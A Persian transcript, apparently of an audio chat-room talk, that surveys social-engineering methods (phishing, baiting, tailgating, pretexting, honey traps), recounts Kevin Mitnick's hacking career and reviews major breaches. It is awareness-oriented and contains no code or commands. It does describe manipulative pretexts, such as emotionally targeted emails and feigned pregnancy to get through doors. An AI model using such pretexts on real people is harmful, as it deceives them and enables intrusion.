سازمان های رده بالا هستن. شرکت های معمولی نیستن. حتی APT Group ها از این روش ها استفاده میکنن. بعد SMS  فیشینگ که توی ایران خیلی زیاده. معمولا SMS ی به فرد داده میشه که اپلیکیشن رو از سمت adliran نصب کن. یا نیازمند تراکنش هست برای اینکه یه حکمی بر علیه یک فرد ثبت شده که اگه بخواد اون حکم رو ببینه نیازمند پرداخت هست. و بعد متد Spear phishing میاد برعکس فیشینگ تعداد خاصی از افراد رو هدف قرار میده. ولی فیشینگ مثل یه ماهیگیر میمونه که تور ماهیگیری رو خیلی بزرگ میندازه و هرچیزی که صید کنه، صید کرده و براش مهم نیست که مدیر سازمان رو بزنه یا حتی فرد عادی. ولی Spear phishing فقط یکسری افراد رو مورد هدفشون قرار میدن و این افراد با توجه به Pretexting  که آماده کردن هر فردی سناریوی خاص خودشو داره واسه ارسال ایمیل. یکی ایمیل job هست، یکی ایمیل پیشنهاد سفر با قیمت ارزونتر یا خرید خونه. هرکسی تمش فرق میکنه. و بعد ……. افرادی که دسترسی خاص به سازمان دارن یا حتی افراد government هستن حتی افراد امنیتی هستن که اونارو هکرها مورد هدف قرارمیدن که بتونن از گوشیشون یا سیستم شخصیشون دسترسی بگیرن. بعد از این متدها، متد Watering Hole متدی هست که خیلی بیشتر &#8230;&#8230;&#8230;&#8230;.. ازش استفاده میکنن. میان سایت هایی که بازدید بالایی دارن ازش دسترسی میگیرن یا exploit kit شون رو نصب میکنن رو سایت یا اینکه فایلهاشو آلوده میکنن تو سایتهای download media یا حتی سایت های معروفی که مثلا فرض کنید که یک media  مثل VLC که پلیر بصورت رایگان دارن ارائه میکنن. که همین چندوقت پیش خبرشو شنیدیم که VLC آلوده شده بود. از این متد استفاده میکنن برای مورد هدف قراردادن افراد. یه متد بعد از اون شاید شما تو سریال مستر ربات هم بهش برخورده باشین، متد Baiting هستش. متد Baiting که حالا تله ای میذارن معمولا برای افراد، به اینصورت هست که میان از فلش های آلوده استفاده میکنن و یکسری فلش رو میگیرن و درواقع آلوده ش میکنن به exploit و این فلش ها رو درکنار درب ورودی سازمان یا واحد خاصی یا محیط اطراف سازمان قرارمیدن و افرادی که حس کنجکاویشون زیاده یا خیلی دوست دارن بدونن این فلش های گم شده توش چی هست، ممکنه این فلش رو ببرن وارد سازمانشون کنن. اگه فلش ممنوع نباشه، توی سریال مستر ربات هم این رو دیده بودین. یا اینکه معمولا این افراد که حس کنجکاویشون بالاست، این فلش هارو میبرن به سیستم های شخصیشون میزنن که بعدها ممکنه ازشون اطلاعات شخصی یا حتی فیلم های شخصی بیرون بیاد. متد بعدی که توی ایران خیلی بکار اومده، شرکت های بازاریابی استفاده کردن، که شمار برنده شدین ، متدی هست بنام quid pro quo . این متد براش مهم نیست که دامنه اون قربانیان کی هستش. یه لیست بلندی از شماره تلفن ها داره و شروع میکنه زنگ زدن. سناریوش هم یکیه. برای هرکسی سناریو درنظر نگرفته و منتظره یک نفر تو تورش بیوفته. و حالا اون یه نفرکه توی تورش میوفته با این سناریو که شما برنده  شدین و این جایزه خیلی خاصه. فقط کافیه شما هزینه ارسال رو پرداخت کنین. که این متد در واقع توسط کلاهبرداران استفاده میشه. اگر هکرها بخوان از این متد استفاده کنن معمولا بعد از هک کنن سیستم VOIP سازمان رو. شروع میکنن به داخلی های سازمان تماس میگیرن و خودشون رو به عنوان پشتیبان معرفی میکنن. و بالاخره یکی پیدا میشه که با سیستمش مشکلی داره. و بعد از اینکه دسترسی میگیرن از سیستمش با اجازه اون فرد، میتونن وارد شبکه سازمان بشن از طریق VOIP و ادامه ماجرا. یا حتی متدی داریم بنام honey trap که معمولا هکرها پیش میاد که از این متدها استفاده میکنن. خودشون رو جا میزنن جای سلبریتی و توی سایت های dating خودشون رو جا میزننن جای اون سلبریتی و سعی میکنن ارتباط برقرار کنن با اون فرد خاص. که حالا اون فرد خاص از متد OSINT استخراج شده از سازمانی که این فرد توی سازمان خاصی هستش و بعد از اینکه وارد رابطه با اون فرد میشن، سعی میکنن اطلاعات اون سازمان رو از این فرد استخراج کنن. دو تا متد داریم که خیلی شبیه به هم هستن. شاید با همدیگه اشتباه گرفته بشن. متد &#8230;&#8230;&#8230;.و متد&#8230;&#8230;&#8230;.. . این دو متد شاید تا الان بهش برخورده باشین. چون بر اساس آداب و رسوم ما هرموقع یک نفر دستش پر هستش و داره نزدیک میشه به در منزل یا جایی که شما دارید میریم تو. ممکنه شما در رو براش نگه دارید از روی احترامی که قائل هستین. که من بهش میگم کم دانشی هستش. و اون فرد رو راه بندین تو منزل یا تو شرکتتون. که این متد &#8230;&#8230;&#8230;&#8230;.. هستش. و حالا متد ……….. معمولا متدی هست که چند دلیل میتونه داشته باشه. اول اینکه یه نفر نمیدونه که یه نفر دنبالش  افتاده. یعنی فرد سازمانی داره وارد سازمان میشه. میخواد از گیت رد بشه و من که هکر هستم، سعی میکنم کنار این رد بشم. حتی یک fake id هم دارم و موقعی که میخوام از کنارش رد بشم، نشون میدم. که security gate بذاره من رد بشم. اینکه اصلا security gate نداره و من فقط وانمود میکنم که همراه یک کارمند سازمان هستم و سعی میکنم وارد سازمان بشم. که این هم دلیلش کمبود آگاهی سایبری هستش. یعنی اینکه افراد سازمان بدونن که نباید هرکسی دنبالشون راه بیوفته بیاد توی ساختمون، یا نباید اجازه بدن که همچنین چیزی رخ بده، خب قاعدتا افرادی که تو حوزه &#8230;&#8230;&#8230;&#8230;&#8230;. نمیتونن براحتی وارد سازمان ها بشن.<br />
متدی که شاید ازش شنیده باشین خیلی، متدی هستی هست بنام &#8230;&#8230;&#8230;.. که معمولا هکرها میان از اون استفاده میکنن که یک fake alert از FBI یا CIA یا هر نهاد امنیتی میاد روی سیستمشون و میترسونتشون که شما یک فعالیت غیرقانونی انجام دادید. مثل ویروس FBI و مجابشون میکنه که دیگه نباید این کار رو انجام بدین، برای اینکه ما چشم پوشی کنیم باید غرامتی رو به فدرال بدین، یا به سازمان امنیتی ما بدین که ما چشم پوشی کنیم. متد &#8230;&#8230;&#8230; هست که شاید بهش بر خورده باشید.<br />
متد دیگه ای هم شبیه این هستش که بهش میگن security software که معمولا از addons ها هستش، وقتی که روی سیستم شما نصب میشه ممکنه Alert روی سیستم شما بیاد که سیستم شما اینفکت شده. شما رو ریدایرکت کنه به سایتی که خدمات IT Security میده یک نفر باهاتون کانکت بشه تو چت و ازتون بخواد که درمورد اون error بهش بگید و بگه من میخوام بهتون کمک کنم که از این متد گروه هندی و پاکستانی استفاده میکردن برای گول زدن افراد مسن تو آمریکا. و اون ها رو مجاب میکردن که سیستم هاشون هک شده و با استفاده از ID Card شون میومدن گیفت کارت اپل یا آمازون میخریدن. متد بعدی که معمولا نهادهای امنیتی ازش استفاده میکنن، داونسن دایرینگ یا همون آشغال گردی هستش که سازمان ها یا شرکتهایی که هیچ مکانیزم امنیتی برای امحای اطلاعات ندارن، میان از اونها استفاده میکنن. اطلاعات رو استخراج میکنن. و از اون آشغال ها و ممکنه بعضی از این اطلاعات اسم برخی افراد سازمان باشه یا شماره حساب ها باشه. با استفاده از اونها بشه به اطلاعات دیگه ای دسترسی پیدا کرد. توی تاریخچه کارهایی که کرده، یکی از اینها تو سن 12 سالگی با استفاده از داونسن دایرینگ اومده سیستم تیکت لس آنجلس باس رو دور زده بصورت مجانی و بعد از اینکه بلیط ها رو پیدا کرده دوباره ازشون استفاده کرده بصورت مجانی میرفته از اتوبوس استفاده میکرده برای اینکه بره مدرسه. این متدی هست که متداوله، شاید کمتر به گوشمون خورده باشه.<br />
یه متدی که شاید بعضیا آگاهی نداشته باشن و از روی عدم آگاهی میرم یکسری اطلاعات رو میدن به هکرها، متد فارمینگ هست. که حالا این متد در واقع میخوان دیتاست از افراد در حوزه های مختلف داشته باشن، مثلا دیتا ساینس، دیتا سکیوریتی، ادمین سازمان خاص و&#8230; و میبرنتون تو یکسری از سوالات و ازتون سوالات private میپرسه که مربوط به سازمان شما میشه. مثلا تو سازمانتون از کدوم فایروال استفاده میکنین. کدوم فایروال رو بیشتر استفاده میکنین. شبکه تون VLAN بندیه یا نه. چه نوعی VPN Server ی استفاده میکنین. اگر بخوان وارد سازمانی بشن، اینجوری میان اطلاعات رو جمع میکنن. حتی APT29  از متد فارمینگ استاده میکرد. هکرهای روسیه از متد فارمینگ استفاده میکردن. و شرکت های آمریکایی رو گول میزدن و یکسری از اطلاعات رو ازشون میگرفتن.<br />
متد دیگه ای که الان خیلی مورد استفاده هست و کشور ما خیلی نسبت بهش آسیب پذیر هست متد Data Bridge هست. سایتهای زیادی که مربوط به سایت های دولتی ایران یا شرکت های خصوصی هستن، دیتای ایرانی ها رو دارند و این دیتاها تو سال های مختلف هک شدن و الان در دسترس هست. حالا این دردسترس بودن ممکنه پولی باشه. ممکنه بعضی ها رایگان باشه. ممکنه تو فروم خاصی باشه. ولی در کل کسی که کارش هک هست به هر روشی به اون دیتا میرسه. کاری که میکنه اینه که دسترسی به اون دیتابیس پیدا میکنه و با correlate کردن این دیتابیس ها، اطلاعات رو درکنار هم قرارمیده و از اون میتونه به آدرس خونه، اسم و فامیل، نام پدر، شماره شناسنامه، شماره حساب، پلاک ماشین، نوع ماشین، خرید و فروش خانه و همه اینهارو درکنار هم قرار میده و واسش pretexting یا سناریو آماده کنه. یا کلاهبرداری کنه یا اونو هک کنه و بعدا ازش یجوری پول بگیره.<br />
متد دیگه ای که شاید خیلی بیشتر در موردش آگاهی رسانی شده باشه، متد &#8230;&#8230;&#8230;&#8230; هستش که افرادی که معمولا میخوان هک کنن یا social engineer هستن سعی میکنن که پشت شما قرار بگیرن تا پسوردتون رو ببینن، وارد سازمان بشن.<br />
بریم سراغ آقای Kevin Mitnick و ببینیم که از کجا شروع شد. هرکسی که با امنیت آشنا باشه، حتما اسم kelvin Mitnick به گوشش خورده. حالا بدون هیچ اغراق و تعصبی، آقای Kevin Mitnick جزو بزرگترین هکرهای دوران ما بوده. همونجور که اشاره کرد از متد داونسن دایرینگ استفاده کرده تو 12 سالگی و تونسته که کارت های اتوبوس های لس آنجلس رو دور بزنه و دسترسی پیدا کنه به روشی که بلیط اتوبوس ها مجانی باشه برای رفتن به مدرسه. در 16 سالگی تونست سیستم های مربوط به شرکت DEC رو هک کنه. بعد از اینکه سیستم ها رو هک کرد، دسترسی پیدا کرد به شماره تلفن هایی که administrator های اون سازمان بودن. و اینجا بود که در 16 سالگی شروع کرد به استفاده از متد مهندسی اجتماعی و زنگ میزد به تک تک این افراد و اونها رو مجاب کرد که پسورد پروژه رو بدن که مدیر پروژه اون موقع پسورد رو دو دستی تقدیم Kevin Mitnick کرد. با استفاده از اون پسورد وارد سیستم ها شد و سورس کدها رو دانلود کرد. نتیجه ی این هکی که انجام داد و سورس کد رو به سرقت برد، 160 هزاردلار محکوم شد که باید غرامت میداد به شرکت DEC.<br />
دقیقا سال بعدش بیشتر مجاب شد که بیاد از این تکنیک ها استفاده کنه واسه نفوذ در سازمان های بیشتر و تو سن 17 سالگی شرکت &#8230;&#8230;&#8230;.. رو هک کرد و بعد از هک کردن و کپی کردن اطلاعات این شرکت، دادگاه به این نتیجه رسید که باید این رو تحت مراقبت قراربده که دیگه این اقدامات رو انجام نده. منتهی Kevin Mitnick در واقع نان استاپ بود. سال 1982 دانشگاه کالیفرنیای جنوبی رو هک کرد و متوجه شدن و 6 ماه زندان برای اولین بار تو سن 18 سالگی وارد زندان شد. بعد از بیرون اومدن از زندان باز به کارش ادامه داد و پایان کارش نبود. سال 1987 سانتاکروز رو هک کرد. سال 1988 دوباره شرکت DEC رو هک کرد و این شرکت خیلی شاکی شد. چون دفعه قبل چون سنش پایین بود اول میخواستن 4 میلیون دلار محکومش کنن، ولی خب سیستم قضایی آمریکا گفت 160 هزاردلار بیشتر نمیتونم محکوم کنم. مجاب شدن که این رو برای مدت خیلی طولانی تر به زندان بندازن ولی خب وکیلش تونست دادگاه رو مجاب کنه این شخص معتاده به تکنولوژی و هک کردن. و این یک جور قمار واسه ش میمونه و نیاز به مشاوره داره برای اینکه هک کردن رو بذاره کنار. علاوه بر اینکه یک سال زندان بود، 6 ماه هم تحت مراقب قرارداشت و مشاوره پی در پی واسه اینکه این کار رو برای همیشه بذاره کنار. ولی خب این کار رو کنار نذاشت. علاوه بر اینکه کنار نذاشت، سعی کرد شرکت های بیشتری رو هک کنه. ولی این شرکت ها شرکت های بزرگی بودن تو زمان خودشون. شرکت نوکیا، شرکت موتورولا، شرکت ناول رو با استفاده از روش مهندسی اجتماعی هک کرد. افراد رو گول میزد و پسورد رو دودستی بهش تقدیم میکردن. برای اینکه نمیدونستن واقعا چه اتفاقی میوفته که این کارها رو انجام بدن.<br />
وقتی که سال 1995 Kevin Mitnick شرکت پسیو بیگبل رو دوباره به سیستم هاش وارد شد ولی این بار هک نکرد. تله ای گذاشت بود دولت که فردی رو بهش نزدیک کردن که روش دسترسی به Voice mail ها بدون اینکه اون شخص بدونه دسترسی داشته باشیم. یعنی اینکه پیغامی رو افراد براتون میذارن، Kevin Mitnick بدون اینکه طرف بدونه میتونستن Voice mail های افراد رو بخونه. حالا این آسیب پذیری بود که توی سیستم هاشون بود. ولی خب اومدن یجور دیگه نشون دادن اتهام رو. اتهام رو سنگین کردن و اتهام جاسوسی زدن. که داره از یک ایالت جاسوسی میکنه و خیلی دیر Kevin Mitnick فهمید که واسه ش تله گذاشتن.  و واسه یه مدتی ناپدید شد و تو حین ناپدید شدن شخص متخصص امنیتی بود که کارش Security Research بودش و مشاوره خیلی از سازمان ها بود، بنام تومورو شومارا که اگه توی دادگاه Kevin Mitnick هم ببینید، عکس این شخص رو می بینید که دقیقا پشت Kevin Mitnick قرار گرفته و این شخص و جامورکوف دو فردی بودن که ضربه بزرگی به Kevin Mitnick زدند و تقریبا 5 سال از عمرش رو کاری کردن که وارد زندان بشه. و برای مدت طولانی تو زندان باشه، واسه اینکه یجوری اومدن نمایش دادن که این شخص علاوه بر اینکه هک میکرد با روش social engineering ضربه میزد، ولی این برعکس کاری بود که Kevin Mitnick میکرد و تنها هکری بوده که تو طول تاریخ وقتی که از روشهای مهندسی اجتماعی استفاده میکرده، صرفا برای این بوده که میخواسته بره تو شبکه و سورس کدها رو بخونه. و هیچ موقع تو هیچ کجای تاریخ شما نمیتونین برین بگردین این رو پیدا کنین که Kevin Mitnick از این روش استفاده کرده واسه اینکه  ضربه ای به سازمان بزنه یا یه نفر رو تهدید کنه یا دزدی کنه. وقتی که Kevin Mitnick این شخص  تومورو شومارا  رو شناسایی کرد و میدونست که تو سیستمش دسترسی پیداکنه به سازمان های دیگه، سیستم این فرد رو هک میکنه و هک سیستم این فرد سال 1994 بوده که توی مصاحبه ای هم که این فرد داشته میاد اشاره میکنه که سیستمش هک شده. این رو کی میفهمدن؟ یک سال بعد میفهمن که درواقع از شرکت فریدام پریواسی متوجه میشن که از سیستم storage شون بیش از مجاز استفاده شده که مال شرکت بل بوده که بهشون اطلاع میدن. وقتی که میان بررسی میکنن این سیستم storage  رو میفهمن که کلیه اطلاعات سیستمشون اونجاست و از این اطلاعات استفاده کرده بود واسه هک کردن شرکت هایی مثل نوکیا، موتورولا، ناول و.. . چون این فرد مشاور بوده تو اون سازمان ها و اینکه علاوه بر اون Security Researcher بوده و exploit داشته رو سیستمش. از اون استفاده میکرده.  بعد از اینکه  شومارا   متوجه میشه، سعی میکنه که بگرده دنبال اینکه چه کسی سیستمش رو هک کرده و تا چه حد از این اطلاعات استفاده کردن و کجاها رو دسترسی پیدا کردن. که خودش به تنهایی این کار رو انجام نمیده. چند نفر رو اون زمان استخدام میکنن و با کلی اینور اونور رفتن و گشتن متوجه میشن که از اون اطلاعات واسه هک کردن شرکت نتکام استفاده شده. نتکام یک دیتاسنتری هست که علاوه بر اینکه اون زمان سرویس شبیه dialup میداده، یه سری سرویس هایی مثل credit card های نتکام میداده که حالا بعضی از این شرکت ها credit card های خودشون رو دارن.  وارد اون شبکه میشه 200 هزار credit card رو اطلاعاتش رو کپی میکنه ولی خب هیچ موقع از اونها استفاده نکرده، دزدی نکرده، خرید انجام نداده. این بر خلاف اون اون چیزی بود که شومارا  و جان مارکوف قصد داشتن، به همگان نشون بدن تو دادگاه برعلیه Kevin Mitnick استفاده کنن و این شخص درواقع هکره و بولد تو زمان حاضرشونه و باید زندان بیوفته و اگه بیرون باشه ممکنه به government و مردم آسیب بزنه. حالا روند اینکه چجوری track کردن و پیدا کردن Kevin Mitnick  رو ، یه روند خیلی جالبی بوده. شومارا متوجه میشه که یه نفر به شرکت نتکام متصله و لوکیشن این شخص رو میخوان پیدا کنن. ولی منتهی با استفاده لوپی که داخل اون سیستم Dial-Up انداخته بوده، سوئیچینگ این فرد رو نمیتونستن پیداکنن. بین دو تا شرکت سوئیچینگ لوپ افتاده بود. بین شرکت ZTE و Sprint و میرن دوتا شرکت رو سر میزنن و مطمئن میشن که از شرکت Sprint هست و بعد میفهمن یه آسیب پذیری تو سوئیچ وجود داره که Kevin Mitnick از اون استفاده میکرد. و یجوری خودش رو untraceable میکرد و نمیتونستن پیداش کنن. همونجور که میدونین سیستم های Dial-up به این صورت بودش که زنگ میزدین و خط تلفنتون مشخص بود. و اگه کار غیرقانونی هم انجام میدادین سریع شناسایی میشدین. سیستم های الان هم تقریبا به همین صورته. بعد از اینکه شومارا   متوجه میشه و لوکیشن اون هکر رو پیدا میکنه و مطمئن نیست که Kevin Mitnick هست یا نه، از سن خوزه و اون شرکت Sprint میرن به ریلی هیلز و یکی از متخصصین Sprint باهاش میاد و با استفاده از فرکانسی که استفاده میکرده به اینترنت متصل میشده، تونستن لوکیشن رو پیدا کنن. و وقتی لوکیشن رو پیدا کردن، لوکیشن رو میدن به FBI و یک هفته بعد با مجوز FBI میاد Kevin Mitnick رو دستگیر میکنه. و این میشه پایان کارهای مخربی که Kevin Mitnick توی تاریخ انجام داد. تقریبا 4 و نیم سال داخل زندان بود. که یک عده زیادی میان جمع میشن و سعی میکنن حمایت کنن از Kevin Mitnick و حالا اون هکرهای اون زمان بودن. و بعد از این 4 و نیم سال که میاد بیرون، سعی میکنه که بیاد آگاهی رسانی کنه درمورد این روش هایی که استفاده میکرده برای هک کردن. برای اینکه بیاد آگاهی رسانی کنه، تقریبا با چند هزار مجله مصاحبه داشته، مصاحبه تلویزیونی و&#8230; که شما میتونید برید مشاهده کنید. فیلمی که بر علیه ش ساخته شده، ترکداون هست که یه فیلم تقریبا هالیوودیه و غیرواقعی هستن. که میاد Kevin Mitnick رو یک شخص منفی نشون میده. ولی اون کتاب هایی که به نظر من برای هر شخصی که تو دنیای Security هستش یا حتی میخواد آگاهی داشته باشه و سرش کلاه نره، لازمه بخونه، اولین کتابش هست که سال 2001 منتشر شد و این کتاب به زبان خیلی ساده ای هست. اسم این کتاب The Art of Deception  هست یا همون هنر فریفتن. که مهندسی اجتماعی که در اول بحث بهش اشاره کردیم. The Art of Deception میاد مثال های مختلف میاره و تو این مثال ها که حالا از لحاظ واقعی بودن که واقعا زنگ نزده  به شرکت ها و این کارها رو انجام بده. ولی واقعا این روشهایی که روی افراد مختلف بخاطر اینکه دانشش رو ندارن جواب میده. که زنگ بزنین خودتون رو مدیر معرفی کنید و یک گزارشی رو بخواین، زنگ بزنین خودتون رو منشی معرفی کنین. این کتاب تقریبا کلش بصورت سناریو بیس هست و اگر واقعا بخواین بدونین هکرها از چه سناریو هایی استفاده میکنن، و این سناریوها واقعا آسون هستن و سطحشون پایینه. ولی اگه واقعا اطلاعی نداشت باشین توی موقعیت خاص قراربگیرین، هکرها میتونن از اون سناریو استفاده کنن.<br />
دومین کتاب Hardware Hacking سال 2004 بود. تو زمان خودش هکرهای بزرگ اومدن سیستم پلی استیشین و سیستم های دیگه رادیویی رو هک کردن و اون security man ی که اومده بود این audit کرده بود آقای Kevin Mitnick بود. که حالا زیاد به به مهندسی اجتماعی مربوط نیستش. بعدیش کتاب The Art of Intrusion هست. کتاب دیگه ای که سال 2007 منتشر شد CIA Dirty Trick  بود که اون روش هایی که جاسوس های CIA  استفاده میکردن ازش برای نزدیک شدن به افراد مختلفی که خیلی بزرگ بودن تو تاریخ برای جاسوسی کردن یا منهدم کردن اونها. که یکی از سرفصل های این کتاب این بود که وارد ایران شدن و اشخاصی که تو سفارت آمریکا بودن رو خارج کردن و روش های مهندسی اجتماعی که استفاده کردن برای دورزدن افراد کمیته، اون روش ها هم اومده ذکر شده که چجوری اومدن اینها رو گول زدن. پنج کیس بزرگ هک های Social Engineering داریم که توی تاریخ خیلی غرامت های بزرگی واسه اون کمپانی ها داشتن. اولیش شرکت تارگت بود که 18 و نیم میلیون دلار خسارت دید بخاطر data bridge که رخ داد. Data bridge چطوری رخ داد؟ چون تارگت شرکت خرده فروش هست با شرکت های کوچیک خیلی زیادی کار میکرد و این شرکت های کوچیک که زیاد هم هستن متصلن به شرکت اصلی، هرکدوم اکانتی داشتن و با استفاده از مهندسی اجتماعی یکی از این اکانت ها دزدیده شد و از اون طریق وارد شبکه شدن و نکته ای که این داره واسه سازمان ها این بود که وقتی شما یک کسب و کاری دارید که فقط امنیت اون براتون ملاک نیستش،  مثل دیتاسنترهایی که شرکت های کوچیک میگیرن که اینترنت بفروشن، اگه هرکدوم از این شرکت ها کامپرامایز بشن، شرکت شما هم کامپرامایز  میشه اگه نکات امنیتی رو رعایت نکنین. حالا این متونه با exploit باشه یا خیلی ساده یوزر و پسورد فردی رو بدزدن. بعدش اسکم سال 2020 بود توی توییتر که از طریق فیشینگ یک ایمیلی ارسال شده برای یکی از کارمندان توییتر و دسترسی گرفتن از توییتر و اکانتی رو verify کردن و اون اکانت که تیک رو گرفته بود اومد اشاره کرده بود که اگه بیتکوین به من بدید دو برابرش میکنم. دابل بیتکوین هم که خیلی معروف هستش تو کریپتو اسکم ها تقریبا تو چند دقیقه تونست 100 هزاردلار اسکم بکنه که حالا علاوه بر اینکه با مهندسی اجتماعی یه شخصی رو توی توییتر زدن یکی از کارمندان توییتر. یه مهندسی اجتماعی دیگه هم استفاده کرده که افراد دیگه ای رو گول زده بوده واسه حرص و طمعشون که میخواستن یه مقدار بیت کوینی رو دوبرابر کنن که همچنین چیزی اصلا مسخره ست. یکی از بزرگترین . Data bridge هایی که با استفاده از مهندسی اجتماعی انجام شدش، سال 2013 یاهو بود که از طریق فیشینگ یکی از کارمندان این شرکت مورد هدف قرار گرفته بود، یعنی اکثر این حملاتشون با یه ایمیل ساده هست که attachment ی داره و اون رو که باز میکنن exploit میشه و بعد دسترسی میگیرن از زیرساختش و برای چندین سال دسترسی دارن به زیرساخت. که این دسترسی که گرفتن برای چندین سال از یاهو دسترسی داشتن، که اول فکرنمیکردن اون کسانی که مورد حمله قرارگرفتن 500 میلیون نفر بودن که بعدا متوجه شدن که کل افرادی که داخل یاهو اطلاعات داشتن تمام اطلاعاتشون رفته. این بزرگترین Data bridge  ی بود که رخ داده بود در شبکه های اجتماعی. که این یاهو هم یکی از دلایلی که محو شد بخاطر همین بود. بصورت کلی مهندسی اجتماعی خیلی چیز پیچیده ای نیست و اگر علاقه مند هستید که بیشتر درموردش بدونید 3 تا منبع رو بخونید به نظرم کافیه، یه Art of Deception  ، و سریال Mr. Robot و سریال دیگه ای که بنظرم روش های human element manipulation  رو درموردش صحبت میکنه، سریال لایتومی هستش. این سریالی هست که کارشناس انسان ها هست و هرکسی که وارد اتاقی میشه با این فرد، تروریست یا قاتل یا هرچیزی که هست از روی اون المنت هایی که این انسان داره، مثل خارش صورت ، لگد زدن یا تکون دادن پا ، سر تکان دادن، خاراندن مو و&#8230; به اطلاعاتی دست پیدا میکنن و اطلاعات کاملا علمی هستن. اشخاصی هم که مهندسی اجتماعی انجام میدن و کلاهبرداری های بزرگ بودن توی تاریخ، این دانش رو داشتن و وقتی که به تارگشتون بر میخوردن با توجه به این خصوصیت هایی که افراد داشتن میتونستن اینهارو گول بزنن. یکسری اطلاعات رو ازشون بگیرن. عرایض بنده تمومه. امیدوارم که هفته ی خوبی رو در پیش داشته باشید. شب و روزگارتون خوش<br />
نکاتی که سهیل جان اشاره کردن نکات اصلی و کلیدی بود، من دو نکته که بخوام در ادامه بگم، بحث کل کانسپت Social Engineering رو به عنوان The art of manipulating می بینیم، بیشتر برای اینه که به ما یه اینتری پوینتی بده به یک سیستم. حالا شما با استفاده از اون Social Engineering اون دسترسی اولیه رو در خیلی از وقت ها به یک سیستم میگیرین. حالا سیستم فیزیکی میتونه باشه، یک سازمان باشه، یک سرور یا هر ریسورس دیگه ای. یا حتی اطلاعات ارزشمندی که میتونه توی لپ تاپ باشه. توی فولدری باشه. و بعد اون بحث exploitation صورت میگیره.الان بخاطر اینکه تکنیک هایی که مثلا کلاسیک بود، اون بحث فیشینگ که اشاره شد. باز بحث OSINT امنیتش اینجا بیشتره. حالا شماره اگه بخوایم یک Social Engineering انجام بدین، یک pretext ی باید وجود داشته باشه. اون تارگت رو مطالعه کنید. اطلاعات مختلفی ازش بگیرید. و وقتی میخوان یک مکالمه ای رو با اون آغاز کنید، تو اون مکالمه جزئیاتی رو فراهم کنید که اون شخص متوجه باشه که در واقع شما یک pretext ی با این دارید. یا بتونه اعتماد اونو جلب کنید. اشاره ای که من در اکثر اتاق ها میکنم، که شما هم فرض کنید که میدونین وقتی ایمیلی برای شما میاد که میگن مثلا روی لینکی کلیک کنید، الان دیگه الان 60-70 درصد افرادی که تو فیلد هستن بازم میدونن که روی لینک نباید کلیک کنن. ولی اگه مثلا اون شخصی که داره این ایمیل رو میفرسته به شما، میدونه که شما یک پسری دارید که امروز صبح گذاشتینش مدرسه و مثلا مسابقه فوتبال داره و تو اون ایمیلی که برای شما میاد بگه که آره من از مدرسه دارم تماس میگیرم. مدیر مدرسه هستم. مثلا یه مشکلی برای پسرتون تو مسابقه فوتبال پیش اومده ، اگه میشه روی این لینک کلیک کنید ما کانسنت شما رو لازم داریم. مثلا که بفرستیمش دکتر معاینه بشه یا همچنین چیزی. وقتی که انگشت بذارن روی نقطع ضعف شما یا اونجایی که شما خیلی بهش اهمیت میدین. اونجاست که دیگه احساسی برخورد میکنیم و راحت روی لینک کلیک میکنیم. یا همون بحث کانکسکت که اشاره کردم. یعنی این مهمترین بحث هست یا همون کمک کردن به همنوع که سهیل عزیز اشاره کرد. مثلا یک نفر دستش پره میخواد وارد ساختمان بشه، Access Card هم نداره، کسی که داره کمک میکنه در رو برای این نگه میداره. خانومی که مثلا خودش رو حتی بصورت یک خانم باردار نشون میده، این جزو سناریوهایی بوده که هکرهایی که نفوذ فیزیکی کردن به سازمان ها، این ها رو به اشتراک گذاشتن.  که خودشون رو بصورت یک زن باردار درمیارن که مثلا Access Card شون رو فراموش کردن. و بعد مثلا کسانی که وارد ساختمان میشن در رو باز میکنن. افرادی بودن که کار و تخصصشون اینه که میرن و قرارداد می بندن با شرکت های مختلف که اون Physical security اینها رو بیان تست کنن که ببینن این سازمان چقدر راحت میتونن واردش بشن و هک کنن. یکی دیگه از همین افرادی که خیلی معروفه کریس تنگی که یک وبسایتی داره به اسم Social-Engineer.com و کتابی داره به اسم Social Engineering The Art of human hacking  . ایشون خیلی در همین موارد اتفاقا شرکتی داره که کارش همینه . یعنی در سناریوهایی مختلفی ، مصاحبه ای جک ریسایدر فکرمیکنم تو همین پادکست داشت که با تکنیک های مختلف اینها سعی میکنن وارد ساختمان ها و سازمان های بزرگ و شرکت های خصوصی بشن، branch office هاشون رو وارد بشن بعد با attach کردن یه باکس رسپبری پای مثلا به یه پورت نتورک که جایی قایم کنن، بتونن وارد شبکه بشن. و از این طریق بتونن سیستم اینهارو هک کنن. اگه این کار رو بتونن انجام بدن، نشون میدن که چقدر باگ های امنیتی تو اون سازمان چه از نظر فیزیکی چه از نظر IT وجود داره. این داستان خیلی پیچیده س و اهمیت ش انقدر زیاد هست که الان هرساله در اون کنفرانس Defcon که برگزار میشه، امسال سی امین دوره ش برگزار شد، یک سکشن خیلی خاصی وجود داره که تخصصی روی Social Engineering کار میکنن. یعنی هیچ چیزی هم بحث فنی نیست. یعنی شما وقتی میرین اونجا صحبت میکنین همش بحث manipulate کردن افراد، احساساتشون هست. یعنی نمیان بخوان exploit توضیح بدن یا بحث های فنی. جالبه یکی از همین افرادی که توی یکی از کانتست سالانه ی همین Social Engineering Village یک خانومی بود به اسم ایلیس دنی ، ایشون بالاترین بج Defcon رو تو بحث Social Engineering Village  گرفته بود ولی خودش تو مصاحبه ای میگفت من برای کار پیدا کردن برام راحت نبود. چون هرجا میرفتم میگفن بج Defcon  رو داری ولی خب بحث های فنی از من میپرسیدن من اونقدر مسلط نبودم. چون تخصص من روی Social Engineering بود. این یه سری نکات هست من فقط خواستم اشاره ای بهش بکنم.<br />
مهدی: خیلی ممنون سهیل جان، ممنون داود جان، محمود جان شما رو میشنویم، بفرمایید درخدمتتون هستیم، دوستانی هم که سوالی دارن یا نقطه نظری میخوان با ما به اشتراک بذارن میتونن بیان بالا یا از طریق چت متنی در خدمتشون باشیم<br />
